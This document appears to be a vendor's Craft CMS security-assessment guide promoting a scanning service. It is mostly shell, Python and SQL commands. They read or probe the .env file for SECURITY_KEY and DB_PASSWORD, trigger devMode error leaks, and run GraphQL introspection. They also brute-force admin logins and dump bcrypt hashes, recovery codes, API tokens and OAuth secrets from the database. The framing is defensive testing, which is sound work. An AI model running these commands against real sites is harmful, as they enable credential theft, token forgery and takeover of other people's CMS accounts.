Craft CMS is a powerful PHP CMS used by agencies and enterprises to power high-profile websites. Key assessment areas: the .env file exposes SECURITY_KEY (used for all HMAC token signing and cookie validation) and DB_PASSWORD; GraphQL API endpoints may allow schema introspection or data access without authentication; devMode=true exposes full stack traces containing credentials; and the users table stores all CMS accounts with bcrypt hashes. This guide covers systematic Craft CMS security assessment.
# Craft CMS — .env SECURITY_KEY and DB_PASSWORD extraction
CRAFT_URL="https://craftsite.example.com"
# .env file — Craft CMS security key and database credentials
cat /var/www/craftcms/.env 2>/dev/null
# SECURITY_KEY=... <-- HMAC signing key for all tokens, cookies, sessions (CRITICAL)
# DB_DRIVER=mysql
# DB_SERVER=localhost
# DB_DATABASE=craftcms
# DB_USER=craftcms
# DB_PASSWORD=... <-- MySQL password (CRITICAL)
# DB_TABLE_PREFIX=
# DEV_MODE=true <-- devMode: exposes stack traces with full .env
python3 -c "
content = open('/var/www/craftcms/.env').read()
for line in content.split('\n'):
if any(k in line for k in ['SECURITY_KEY','DB_PASSWORD','DEV_MODE','ENVIRONMENT']):
print(line[:80])
" 2>/dev/null
# Check .env web exposure
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${CRAFT_URL}/.env" 2>/dev/null)
echo "/.env: HTTP ${STATUS}"
# config/db.php — fallback database configuration file (older Craft installs)
cat /var/www/craftcms/config/db.php 2>/dev/null | grep -E "server|database|user|password"
# Check devMode stack trace exposure — trigger a deliberate error
curl -s "${CRAFT_URL}/nonexistent-to-trigger-devmode-error" 2>/dev/null | \
grep -E "SECURITY_KEY|DB_PASSWORD|devMode|Craft\\\\" | head -5
# Craft CMS GraphQL API — schema introspection and data access assessment
CRAFT_URL="https://craftsite.example.com"
# Craft CMS GraphQL endpoint (Craft 3.3+)
# Default endpoint: /api (configurable in config/general.php)
for GQL_PATH in "/api" "/graphql" "/craft/api"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${CRAFT_URL}${GQL_PATH}" \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' 2>/dev/null)
echo "${GQL_PATH}: HTTP ${STATUS}"
done
# GraphQL schema introspection — enumerate all types and queries
curl -s -X POST "${CRAFT_URL}/api" \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name}}}"}' 2>/dev/null | \
python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
types=d.get('data',{}).get('__schema',{}).get('types',[])
print(f'Types found: {len(types)}')
for t in types[:10]:
print(f' {t.get(\"name\")}')
except: print('Error or access denied')
" 2>/dev/null
# GraphQL query for entries (if public access enabled)
curl -s -X POST "${CRAFT_URL}/api" \
-H "Content-Type: application/json" \
-d '{"query":"{entries{id,title,slug,dateCreated}}"}' 2>/dev/null | \
python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
entries=d.get('data',{}).get('entries',[]) or []
print(f'Entries accessible: {len(entries)}')
for e in entries[:5]:
print(f' [{e.get(\"id\")}] {e.get(\"title\")} — {e.get(\"slug\")}')
except: pass
" 2>/dev/null
# Admin credential brute-force at /admin/login
for CRED in "admin@example.com:admin" "admin@example.com:Admin123" "admin@example.com:password"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Get CSRF token
CSRF=$(curl -s "${CRAFT_URL}/admin/login" 2>/dev/null | \
grep -oP 'name="CRAFT_CSRF_TOKEN" value="\K[^"]+' | head -1)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${CRAFT_URL}/admin/login" \
-d "CRAFT_CSRF_TOKEN=${CSRF}&loginName=${EMAIL}&password=${PASS}&action=users/login" \
-c /tmp/craft_c -b /tmp/craft_c -L 2>/dev/null)
echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done
# Craft CMS MySQL database — users hash and admin account extraction
DB_PASS="extracted-db-password"
mysql -u craftcms -p"${DB_PASS}" craftcms 2>/dev/null << 'EOF'
-- Craft CMS users — admin accounts with bcrypt hashes
SELECT u.id, u.username, u.email,
u.password, -- bcrypt hash
u.admin, -- 1 = full admin access
u.firstName, u.lastName,
u.dateCreated, u.dateUpdated,
u.lastLoginDate, u.lastInvalidLoginDate,
u.invalidLoginCount, u.locked
FROM craft_users u
WHERE u.deletedWithUserGroup IS NULL
ORDER BY u.id;
-- password: bcrypt with cost 13 — hashcat mode 3200
-- admin=1: unrestricted Craft admin access including system config
-- User groups and permissions
SELECT ug.id, ug.name, ug.handle,
u.username, u.email, u.admin
FROM craft_usergroups ug
JOIN craft_usergroups_users ugu ON ugu.groupId = ug.id
JOIN craft_users u ON u.id = ugu.userId
ORDER BY ug.id, u.id;
-- Recovery codes / password reset tokens
SELECT r.userId, r.code, r.dateCreated,
u.email, u.username
FROM craft_recoverycodes r
JOIN craft_users u ON u.id = r.userId
ORDER BY r.dateCreated DESC
LIMIT 10;
-- Craft CMS tokens (API tokens, GraphQL tokens)
SELECT t.id, t.name, t.accessToken,
t.enabled, t.expiryDate,
t.dateCreated
FROM craft_gql_tokens t
WHERE t.enabled = 1
ORDER BY t.id;
-- accessToken: GraphQL API token for content access
-- OAuth / social login credentials (if Craft Social plugin)
SELECT s.id, s.userId, s.providerHandle,
s.token, s.secret, s.refreshToken,
u.email
FROM craft_social_useraccounts s
JOIN craft_users u ON u.id = s.userId
ORDER BY s.id
LIMIT 10;
EOF
| Security Test | Method | Risk |
|---|---|---|
| .env SECURITY_KEY extraction enabling HMAC token forgery | Read /var/www/craftcms/.env or web-exposed /.env — SECURITY_KEY for signing all cookies, tokens, password reset links; forge signed cookies without password knowledge | Critical |
| devMode=true stack trace leaking SECURITY_KEY and DB_PASSWORD | Trigger error with DEV_MODE=true — Craft error page exposes .env contents, database config, template paths, Craft version for CVE targeting | Critical |
| .env DB_PASSWORD MySQL credential extraction | Read /.env — database credentials; full access to craft_users bcrypt hashes, craft_gql_tokens API keys, all CMS content | High |
| GraphQL schema introspection and unauthenticated content access | POST /api with introspection query — enumerate all content types; query entry data without authentication if schema permissions misconfigured | High |
| craft_users bcrypt hash extraction with admin identification | MySQL SELECT admin, password FROM craft_users — bcrypt hashes (mode 3200); admin=1 accounts have full Craft CMS control panel access | High |
Ironimo tests Craft CMS deployments for .env SECURITY_KEY and DB_PASSWORD web exposure at /.env, devMode=true error page .env contents leakage assessment, GraphQL API /api endpoint schema introspection and unauthenticated content access, admin credential brute-force at /admin/login, craft_users bcrypt hash extraction with admin=1 administrator identification, craft_gql_tokens plaintext API token extraction, craft_recoverycodes password reset token enumeration, craft_social_useraccounts OAuth token exposure if Social plugin installed, config/db.php MySQL credential fallback extraction, and Craft CMS version disclosure for CVE targeting.
Start free scan